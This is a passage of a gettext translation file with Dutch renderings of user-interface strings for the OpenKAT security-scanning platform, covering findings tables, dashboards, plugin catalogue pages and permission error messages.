rocky/templates/partials/elements/ooi_tree_condensed_table.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#: rocky/views/mixins.py\nmsgid \"Graph\"\nmsgstr \"Grafiek\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/dns_report/report.html\n#: rocky/templates/oois/ooi_detail_findings_list.html\n#: rocky/templates/oois/ooi_detail_findings_overview.html rocky/views/mixins.py\nmsgid \"Severity\"\nmsgstr \"Ernst\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/dns_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\n#: rocky/views/mixins.py\nmsgid \"Finding\"\nmsgstr \"Bevinding\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\nmsgid \"Finding type\"\nmsgstr \"Bevindingstype\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"Show details for %(finding_type)s\"\nmsgstr \"Bekijk details van %(finding_type)s\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"OOI type\"\nmsgstr \"OOI-type\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"Show %(ooi_type)s objects\"\nmsgstr \"%(ooi_type)s tonen\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/views/mixins.py\n#, fuzzy\nmsgid \"Location\"\nmsgstr \"Lokatie\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#, python-format\nmsgid \"Show details for %(ooi)s\"\nmsgstr \"Bekijk details van %(ooi)s\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"Risk score\"\nmsgstr \"Risicoscore\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: katalogus/templates/normalizer_detail.html\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/summary/report_asset_overview.html tools/forms/boefje.py\n#: tools/forms/finding_type.py rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_detail.html\n#: rocky/templates/oois/ooi_detail_findings_list.html rocky/templates/scan.html\nmsgid \"Description\"\nmsgstr \"Omschrijving\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/multi_organization_report/recommendations.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_severity_totals_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"Recommendation\"\nmsgstr \"Aanbeveling\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/vulnerability_report/report.py\n#: reports/templates/partials/report_findings_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_detail_origins_inference.html\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Source\"\nmsgstr \"Bron\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/templates/partials/report_findings_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"Impact\"\nmsgstr \"Impact\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\n#, fuzzy\nmsgid \"Options for dashboard items\"\nmsgstr \"Opties voor dashboard-items\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\n#, fuzzy\nmsgid \"Show description\"\nmsgstr \"Toon beschrijving\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\n#, fuzzy\nmsgid \"Hide description\"\nmsgstr \"Verberg beschrijving\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\n#, fuzzy\nmsgid \"Position up\"\nmsgstr \"Verplaats naar boven\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\n#, fuzzy\nmsgid \"Position down\"\nmsgstr \"Verplaats naar beneden\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\n#, fuzzy\nmsgid \"Rerun report\"\nmsgstr \"Draai Rapportage opnieuw\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\n#: crisis_room/templates/partials/delete_dashboard_item_modal.html\n#, fuzzy\nmsgid \"Delete item\"\nmsgstr \"Verwijder item\"\n\n#: crisis_room/templates/partials/dashboard_ooi_list.html\n#, fuzzy, python-format\nmsgid \"Showing %(length)s objects\"\nmsgstr \"Toon %(length)s objecten\"\n\n#: crisis_room/templates/partials/dashboard_ooi_list.html\n#, fuzzy\nmsgid \"Go to objects\"\nmsgstr \"Ga naar objecten\"\n\n#: crisis_room/templates/partials/dashboard_ooi_list_table.html\n#: rocky/templates/oois/ooi_list.html\nmsgid \"Objects \"\nmsgstr \"Objecten \"\n\n#: crisis_room/templates/partials/delete_dashboard_item_modal.html\n#, fuzzy, python-format\nmsgid \"Are you sure you want to delete '%(name)s' from this dashboard?\"\nmsgstr \"Weet u zeker dat u '%(name)s' van dit dashboard wilt verwijderen?\"\n\n#: crisis_room/templates/partials/delete_dashboard_item_modal.html\n#: crisis_room/templates/partials/delete_dashboard_modal.html\n#: katalogus/templates/plugin_settings_delete.html\n#: katalogus/views/plugin_settings_delete.py\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/oois/ooi_list.html\n#: rocky/templates/partials/delete_ooi_modal.html rocky/views/ooi_delete.py\nmsgid \"Delete\"\nmsgstr \"Verwijderen\"\n\n#: crisis_room/templates/partials/delete_dashboard_modal.html\n#, fuzzy, python-format\nmsgid \"\"\n\"Are you sure you want to delete dashboard '%(dashboard)s'? All the items on \"\n\"the dashboard will be deleted as well.\"\nmsgstr \"\"\n\"Weet u zeker dat u dashboard '%(dashboard)s' wilt verwijderen? Alle items op \"\n\"het dashboard worden eveneens verwijderd.\"\n\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\n#, fuzzy\nmsgid \"Actions for adding dashboard items\"\nmsgstr \"Activiteiten voor het toevoegen van dashboard items\"\n\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\n#, fuzzy\nmsgid \"Add item\"\nmsgstr \"Item toevoegen\"\n\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/summary/ooi_selection.html tools/forms/ooi.py\n#: tools/view_helpers.py rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/admin/delete_selected_confirmation.html\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html rocky/views/ooi_add.py rocky/views/ooi_list.py\n#: rocky/views/ooi_view.py rocky/views/upload_csv.py rocky/views/upload_raw.py\nmsgid \"Objects\"\nmsgstr \"Objecten\"\n\n#: crisis_room/templates/partials/new_dashboard_item_explanation_modal.html\n#, fuzzy\nmsgid \"Add dashboard item\"\nmsgstr \"Voeg dashboard-onderdeel toe\"\n\n#: crisis_room/templates/partials/new_dashboard_item_explanation_modal.html\n#, fuzzy\nmsgid \"\"\n\"To  add a <strong>report section</strong>, go to the history page and open a \"\n\"report. Then go to the section that you want to add to your dashboard and \"\n\"press the options button next to the section name to create a dashboard item.\"\nmsgstr \"\"\n\"Ga naar de historiepagina om een  <strong>rapportagesectie</strong>,  toe te \"\n\"voegen en open een rapport. Ga vervolgens naar de sectie die u toe wilt \"\n\"voegen aan uw dashboard en klik de opties-knop naast de sectienaam om het \"\n\"dashboard-onderdeel aan te maken.\"\n\n#: crisis_room/templates/partials/new_dashboard_item_explanation_modal.html\n#, fuzzy\nmsgid \"Go to report history\"\nmsgstr \"Ga naar rapportagegeschiedenis\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#, fuzzy, python-format\nmsgid \"\"\n\"\\n\"\n\"    Add %(item_type)s to dashboard\\n\"\nmsgstr \"\"\n\"\\n\"\n\"    Voeg %(item_type)s toe aan het dashboard\\n\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#, fuzzy, python-format\nmsgid \"\"\n\"Add these %(item_type)s with the selected filters to the dashboard of your \"\n\"choice.\"\nmsgstr \"\"\n\"Voeg deze %(item_type)s met het geselecteerde filter toe aan het dashboard \"\n\"van uw keuze.\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#: katalogus/templates/partials/no_enabling_permission_message.html\n#: katalogus/templates/plugin_container_image.html\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\n#: rocky/templates/partials/form/field_input_help_text.html\n#: rocky/templates/partials/notifications_block.html\n#: rocky/templates/two_factor/core/login.html\nmsgid \"explanation\"\nmsgstr \"toelichting\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#, fuzzy\nmsgid \"You do not have a custom dashboard yet\"\nmsgstr \"U heeft nog geen maatwerk-dashboard\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#, fuzzy, python-format\nmsgid \"\"\n\"In order to add these %(item_type)s to a dashboard, you first need to create \"\n\"a dashboard. Please add a dashboard in the crisis room of your organization.\"\nmsgstr \"\"\n\"Om deze %(item_type)s toe te voegen aan het dashboard, maakt u eerst een \"\n\"dashboard aan. Voeg aub een dashboard toe aan het crisiscentrum van uw \"\n\"organisatie.\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_list.html\n#, fuzzy\nmsgid \"Add to dashboard\"\nmsgstr \"Voeg toe aan dashboard\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#, fuzzy\nmsgid \"Go to crisis room\"\nmsgstr \"Ga naar het crisiscentrum\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#, fuzzy\nmsgid \"Add report section to dashboard\"\nmsgstr \"Voeg rapportagesectie aan dashboard toe\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#, fuzzy\nmsgid \"\"\n\"In order to add this report section to a dashboard, you first need to create \"\n\"a dashboard. Please create a dashboard in the crisis room of your \"\n\"organization.\"\nmsgstr \"\"\n\"Om deze rapportagesectie aan een dashboard toe te voegen, maakt u eerst een \"\n\"dashboard aan. Maak aub een dashboard in het crisiscentrum van uw \"\n\"organisatie aan.\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#, fuzzy\nmsgid \"Report must be scheduled for dashboard items\"\nmsgstr \"Rapportage moet worden gepland voor dashboard-onderdelen\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#, fuzzy\nmsgid \"\"\n\"In order for dashboard information to be updated on a regular basis instead \"\n\"of showing static data, the report should be scheduled. The frequency of the \"\n\"schedules recurrence determines how fresh the data on the dashboard will be.\"\nmsgstr \"\"\n\"Om dashboard informatie op periodieke wijze te verversen in plaats van \"\n\"eenmalige gegevens te tonen, moet de rapportage ingepland worden. De \"\n\"frequentie van de planning bepaald hoe actueel de gegevens op het dashboard \"\n\"zijn.\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#, fuzzy\nmsgid \"Applied filters\"\nmsgstr \"Toegepaste filters\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#, fuzzy\nmsgid \"Object types\"\nmsgstr \"Objecttypes\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: katalogus/templates/change_clearance_level.html onboarding/forms.py\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/summary/ooi_selection.html tools/forms/boefje.py\n#: tools/forms/ooi.py rocky/templates/oois/ooi_page_tabs.html\n#: rocky/templates/partials/explanations.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html rocky/views/mixins.py\nmsgid \"Clearance level\"\nmsgstr \"Vrijwaringsniveau\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/summary/ooi_selection.html tools/forms/ooi.py\n#: rocky/views/mixins.py\nmsgid \"Clearance type\"\nmsgstr \"Vrijwaringstype\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Input objects\"\nmsgstr \"Invoerobjecten\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#, fuzzy\nmsgid \"Show all objects\"\nmsgstr \"Toon alle objecten\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: reports/templates/partials/report_types_selection.html\n#, fuzzy\nmsgid \"No filters applied\"\nmsgstr \"Geen filters toegepast\"\n\n#: crisis_room/templates/partials/report_section_action_button.html\n#, fuzzy\nmsgid \"Add section to dashboard\"\nmsgstr \"Voeg sectie aan dashboard toe\"\n\n#: katalogus/client.py\nmsgid \"\"\n\"The KATalogus has an unexpected error. Check the logs for further details.\"\nmsgstr \"\"\n\"De KATalogus heeft een onverwachte fout opgelopen. Controleer de logboeken \"\n\"voor verdere details.\"\n\n#: katalogus/client.py\n#, python-format\nmsgid \"An HTTP %d error occurred. Check logs for more info.\"\nmsgstr \"\"\n\"Er is een HTTP-%d-fout opgetreden. Controleer de logboeken voor meer info.\"\n\n#: katalogus/client.py\nmsgid \"An HTTP error occurred. Check logs for more info.\"\nmsgstr \"\"\n\"Er is een HTTP-fout opgetreden. Controleer de logboeken voor meer informatie.\"\n\n#: katalogus/client.py\nmsgid \"Boefje with this name already exists.\"\nmsgstr \"Boefje met deze naam bestaat al.\"\n\n#: katalogus/client.py\nmsgid \"Boefje with this ID already exists.\"\nmsgstr \"Boefje met deze ID bestaat al.\"\n\n#: katalogus/client.py\n#, fuzzy\nmsgid \"Access to resource not allowed\"\nmsgstr \"Toegang tot resource niet toegestaan\"\n\n#: katalogus/client.py\n#, fuzzy\nmsgid \"User is not allowed to see plugin settings\"\nmsgstr \"Gebruiker heeft geen rechten om plugin instellingen te zien\"\n\n#: katalogus/client.py\n#, fuzzy\nmsgid \"User is not allowed to set plugin settings\"\nmsgstr \"Gebruiker heeft geen rechten om plugin-instellingen aan te passen\"\n\n#: katalogus/client.py\n#, fuzzy\nmsgid \"User is not allowed to delete plugin settings\"\nmsgstr \"Gebruiker heeft geen rechten om plugin instellingen te verwijderen\"\n\n#: katalogus/client.py\n#, fuzzy\nmsgid \"User is not allowed to view plugin settings\"\nmsgstr \"Gebruiker heeftgeen rechten om plugin instellingen te bekijken\"\n\n#: katalogus/client.py\n#, fuzzy\nmsgid \"User is not allowed to access the other organization\"\nmsgstr \"Gebruiker heeft geen rechten om de andere organisatie te benaderen\"\n\n#: katalogus/client.py\n#, fuzzy\nmsgid \"User is not allowed to enable plugins\"\nmsgstr \"Gebruiker heeft geen rechten om plugins aan te zetten\"\n\n#: katalogus/client.py\n#, fuzzy\nmsgid \"User is not allowed to disable plugins\"\nmsgstr \"Gebruiker heeft geen rechten om plugings uit te zetten\"\n\n#: katalogus/client.py\n#, fuzzy\nmsgid \"User is not allowed to create plugins\"\nmsgstr \"Gebruiker heeft geen rechten om plug-ins aan te maken\"\n\n#: katalogus/client.py\n#, fuzzy\nmsgid \"User is not allowed to edit plugins\"\nmsgstr \"Gebruiker heeft geen rechten om plug-ins te bewerken\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Show all\"\nmsgstr \"Alles tonen\"\n\n#: katalogus/forms/katalogus_filter.py\n#: katalogus/templates/partials/enable_disable_plugin.html\n#: katalogus/templates/partials/plugin_tile_modal.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Enabled\"\nmsgstr \"Ingeschakeld\"\n\n#: katalogus/forms/katalogus_filter.py\n#: katalogus/templates/partials/enable_disable_plugin.html\n#: katalogus/templates/partials/plugin_tile_modal.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Disabled\"\nmsgstr \"Uitgeschakeld\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Enabled-Disabled\"\nmsgstr \"Ingeschakeld-Uitgeschakeld\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Disabled-Enabled\"\nmsgstr \"Uitgeschakeld-Ingeschakeld\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Filter options\"\nmsgstr \"Filteropties\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Sorting options\"\nmsgstr \"Sorteeropties\"\n\n#: katalogus/forms/plugin_settings.py\nmsgid \"This field is required.\"\nmsgstr \"Dit veld is verplicht.\"\n\n#: katalogus/templates/about_plugins.html\n#: katalogus/templates/partials/plugins_navigation.html\nmsgid \"About plugins\"\nmsgstr \"Over plug-ins\"\n\n#: katalogus/templates/about_plugins.html katalogus/templates/katalogus.html\nmsgid \"\"\n\"Plugins gather data, objects and insight. Each plugin has its own focus area \"\n\"and strengths and may be able to work with other plugins to gain even more \"\n\"insights.\"\nmsgstr \"\"\n\"Plug-ins verzamelen gegevens, objecten en inzichten. Elke plug-in heeft zijn \"\n\"eigen focusgebied en sterke punten en kan mogelijk samenwerken met andere \"\n\"plug-ins om nog meer inzichten te krijgen.\"\n\n#: katalogus/templates/about_plugins.html katalogus/templates/boefjes.html\nmsgid \"\"\n\"Boefjes are used to scan for objects. They detect vulnerabilities, security \"\n\"issues, and give insight. Each boefje is a separate scan that can run on a \"\n\"selection of objects.\"\nmsgstr \"\"\n\"Boefjes worden gebruikt voor het scannen naar objecten. Ze detecteren \"\n\"kwetsbaarheden, beveiligingsproblemen en geven inzicht. Elk Boefje is een \"\n\"aparte scan die op verschillende objecten gebruikt kan worden.\"\n\n#: katalogus/templates/about_plugins.html katalogus/templates/normalizers.html\nmsgid \"\"\n\"Normalizers analyze the information and turn it into objects for the data \"\n\"model in Octopoes.\"\nmsgstr \"\"\n\"Normalizers analyseren de informatie en zetten deze om in objecten voor het \"\n\"datamodel in Octopoes.\"\n\n#: katalogus/templates/about_plugins.html\nmsgid \"\"\n\"Bits are business rules that look for insight within the current dataset and \"\n\"search for specific insight and draw conclusions.\"\nmsgstr \"\"\n\"Bits zijn bedrijfsregels die zoeken naar inzichten binnen de huidige \"\n\"gegevensset. Ze zoeken naar specifieke inzichten en trekken daar conclusies \"\n\"uit.\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/partials/plugin_tile_modal.html\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Scan level\"\nmsgstr \"Scanlevel\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/normalizer_detail.html\nmsgid \"Consumes\"\nmsgstr \"Consumeert\"\n\n#: katalogus/templates/boefje_detail.html\n#, python-format\nmsgid \"%(plugin_name)s is able to scan the following object types:\"\nmsgstr \"%(plugin_name)s is in staat om het volgende objecttypes te scannen:\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/normalizer_detail.html\n#, python-format\nmsgid \"%(plugin_name)s does not need any input objects.\"\nmsgstr \"%(plugin_name)s heeft geen invoerobjecten nodig.\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/normalizer_detail.html\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"Produces\"\nmsgstr \"Produceert\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/normalizer_detail.html\n#: katalogus/templates/partials/plugin_tile_modal.html\n#, python-format\nmsgid \"%(plugin_name)s can produce the following output:\"\nmsgstr \"%(plugin_name)s kan het volgende produceren:\"\n\n#: katalogus/templates/boefje_detail.html\n#, python-format\nmsgid \"%(plugin_name)s doesn't produce any output mime types.\"\nmsgstr \"%(plugin_name)s produceert geen enkele uitvoer mimetypes.\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Boefje variant setup\"\nmsgstr \"Boefje-variant instellen\"\n\n#: katalogus/templates/boefje_setup.html\n#: rocky/templates/organizations/organization_member_list.html\n#: rocky/templates/organizations/organization_settings.html\n#: rocky/views/ooi_edit.py rocky/views/organization_edit.py\nmsgid \"Edit\"\nmsgstr \"Bewerken\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Boefje setup\"\nmsgstr \"Boefje instellen\"\n\n#: katalogus/templates/boefje_setup.html\n#, fuzzy\nmsgid \"\"\n\"You can create a new Boefje. If you want more information on this, you can \"\n\"check out the <a href=\\\"https://docs.openkat.nl/developer_documentation/\"\n\"development_tutorial/creating_a_boefje.html\\\">documentation</a>.\"\nmsgstr \"\"\n\"U kunt zelf een nieuw boefje maken. Indien u hierover meer informatie wilt, \"\n\"vindt u deze in de <a href=\\\"https://docs.openkat.nl/developer_documentation/\"\n\"development_tutorial/creating_a_boefje.html\\\">documentation</a>.\"\n\n#: katalogus/templates/boefje_setup.html\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"Save changes\"\nmsgstr \"Wijzigingen opslaan\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Discard changes\"\nmsgstr \"Wijzigingen verwerpen\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Create variant\"\nmsgstr \"Variant aanmaken\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Discard variant\"\nmsgstr \"Variant verwerpen\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Create new Boefje\"\nmsgstr \"Nieuw Boefje maken\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Discard new Boefje\"\nmsgstr \"Nieuw Boefje verwerpen\"\n\n#: katalogus/templates/boefjes.html\nmsgid \"Add Boefje\"\nmsgstr \"Boefje toevoegen\"\n\n#: katalogus/templates/boefjes.html katalogus/templates/katalogus.html\n#: katalogus/templates/normalizers.html\nmsgid \"available\"\nmsgstr \"beschikbaar\"\n\n#: katalogus/templates/change_clearance_level.html\n#: katalogus/templates/partials/objects_to_scan.html\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"scan level warning\"\nmsgstr \"Waarschuwing vrijwaringsniveau\"\n\n#: katalogus/templates/change_clearance_level.html\n#, python-format\nmsgid \"\"\n\"%(plugin_name)s will only scan objects with a corresponding clearance level \"\n\"of <strong>L%(scan_level)s</strong> or higher.\"\nmsgstr \"\"\n\"%(plugin_name)s kan alleen objecten scannen met een overeenkomend \"\n\"vrijwaringsniveau van <strong>L%(scan_level)s</strong> of hoger.\"\n\n#: katalogus/templates/change_clearance_level.html\nmsgid \"Scan object\"\nmsgstr \"Object scannen\"\n\n#: katalogus/templates/change_clearance_level.html\n#, python-format\nmsgid \"\"\n\"The following objects are not yet cleared for level %(scan_level)s, please \"\n\"be advised that by continuing you will declare a level %(scan_level)s on \"\n\"these objects.\"\nmsgstr \"\"\n\"De volgende objecten hebben geen vrijwaringsniveau van %(scan_level)s, let \"\n\"er op dat wanneer u doorgaat u een vrijwaring naar niveau %(scan_level)s \"\n\"voor deze objecten instelt.\"\n\n#: katalogus/templates/change_clearance_level.html\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"Selected objects\"\nmsgstr \"Geselecteerde objecten\"\n\n#: katalogus/templates/change_clearance_level.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/summary/ooi_selection.html rocky/views/mixins.py\nmsgid \"Object\"\nmsgstr \"Object\"\n\n#: katalogus/templates/change_clearance_level.html\nmsgid \"Are you sure you want to scan anyways?\"\nmsgstr \"Weet u het zeker dat u toch door wilt gaan met scannen?\"\n\n#: katalogus/templates/change_clearance_level.html\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"Scan\"\nmsgstr \"Scannen\"\n\n#: katalogus/templates/clone_settings.html\n#: katalogus/templates/confirmation_clone_settings.html\nmsgid \"Clone settings\"\nmsgstr \"Instellingen klonen\"\n\n#: katalogus/templates/clone_settings.html\n#, fuzzy, python-format\nmsgid \"\"\n\"Use the form below to clone the settings from \"\n\"<strong>%(current_organization)s</strong> to the selected organization. This \"\n\"includes both the KAT-alogus settings as well as enabled and disabled \"\n\"plugins.\"\nmsgstr \"\"\n\"Gebruik onderstand formulier om de instellingen van \"\n\"<strong>%(current_organization)s</strong> te klonen naar de geselecteerde \"\n\"organisatie. Dit omvat zowel KAT-alogus settings als enabled/disabled plug-\"\n\"ins.\"\n\n#: katalogus/templates/confirmation_clone_settings.html\nmsgid \"Clone\"\nmsgstr \"Klonen\"\n\n#: katalogus/templates/katalogus.html\nmsgid \"All plugins\"\nmsgstr \"Alle plug-ins\"\n\n#: katalogus/templates/katalogus_settings.html\n#, fuzzy\nmsgid \"KAT-alogus settings\"\nmsgstr \"KAT-alogus instellingen\"\n\n#: katalogus/templates/katalogus_settings.html\n#, fuzzy\nmsgid \"\"\n\"There are currently no settings defined. Add settings at the plugin detail \"\n\"page.\"\nmsgstr \"\"\n\"Er zijn momenteel geen instellingen gedefinieerd. Voeg instellingen toe op \"\n\"de plug-in detailspagina.\"\n\n#: katalogus/templates/katalogus_settings.html\n#: rocky/templates/two_factor/core/otp_required.html\nmsgid \"Go back\"\nmsgstr \"Ga terug\"\n\n#: katalogus/templates/katalogus_settings.html\nmsgid \"This is an overview of the latest settings of all plugins.\"\nmsgstr \"Dit is een overzicht van de laatste instellingen van alle plug-ins.\"\n\n#: katalogus/templates/katalogus_settings.html\nmsgid \"Latest plugin settings\"\nmsgstr \"Laatste plug-ininstellingen\"\n\n#: katalogus/templates/katalogus_settings.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\nmsgid \"Plugin\"\nmsgstr \"Plug-in\"\n\n#: katalogus/templates/katalogus_settings.html\n#: katalogus/templates/plugin_settings_list.html\n#: rocky/templates/oois/ooi_delete.html\nmsgid \"Value\"\nmsgstr \"Waarde\"\n\n#: katalogus/templates/normalizer_detail.html\n#, python-format\nmsgid \"%(plugin_name)s is able to process the following mime types:\"\nmsgstr \"%(plugin_name)s is in staat de volgende mime-types te verwerken:\"\n\n#: katalogus/templates/partials/boefje_tile.html\nmsgid \"This object type is required\"\nmsgstr \"Dit objecttype is vereist\"\n\n#: katalogus/templates/partials/boefje_tile.html\nmsgid \"Scan level:\"\nmsgstr \"Vrijwaringsniveau:\"\n\n#: katalogus/templates/partials/boefje_tile.html\nmsgid \"Publisher:\"\nmsgstr \"Uitgever:\"\n\n#: katalogus/templates/partials/boefje_tile.html\n#: katalogus/templates/partials/plugin_tile.html\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"See details\"\nmsgstr \"Details bekijken\"\n\n#: katalogus/templates/partials/enable_disable_plugin.html\nmsgid \"Enable\"\nmsgstr \"Inschakelen\"\n\n#: katalogus/templates/partials/enable_disable_plugin.html\n#: rocky/templates/two_factor/profile/disable.html\nmsgid \"Disable\"\nmsgstr \"Uitschakelen\"\n\n#: katalogus/templates/partials/katalogus_filter.html\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/ooi_list_filters.html\n#: rocky/templates/partials/organization_member_list_filters.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"Hide filters\"\nmsgstr \"Filters verbergen\"\n\n#: katalogus/templates/partials/katalogus_filter.html\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/ooi_list_filters.html\n#: rocky/templates/partials/organization_member_list_filters.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"Show filters\"\nmsgstr \"Filters tonen\"\n\n#: katalogus/templates/partials/katalogus_filter.html\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/ooi_list_filters.html\n#: rocky/templates/partials/organization_member_list_filters.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"applied\"\nmsgstr \"toegepast\"\n\n#: katalogus/templates/partials/katalogus_filter.html\nmsgid \"Filter plugins\"\nmsgstr \"Plug-ins filteren\"\n\n#: katalogus/templates/partials/katalogus_filter.html\nmsgid \"Clear filter\"\nmsgstr \"Filters wissen\"\n\n#: katalogus/templates/partials/katalogus_header.html\n#: katalogus/views/change_clearance_level.py katalogus/views/katalogus.py\n#: katalogus/views/katalogus_settings.py katalogus/views/plugin_detail.py\n#: katalogus/views/plugin_settings_add.py\n#: katalogus/views/plugin_settings_delete.py\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html\nmsgid \"KAT-alogus\"\nmsgstr \"KAT-alogus\"\n\n#: katalogus/templates/partials/katalogus_header.html\nmsgid \"An overview of all available plugins.\"\nmsgstr \"Een overzicht van alle beschikbare plug-ins.\"\n\n#: katalogus/templates/partials/katalogus_header.html\n#: katalogus/templates/plugin_settings_list.html\n#: katalogus/views/katalogus_settings.py tools/view_helpers.py\n#: rocky/templates/header.html\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid 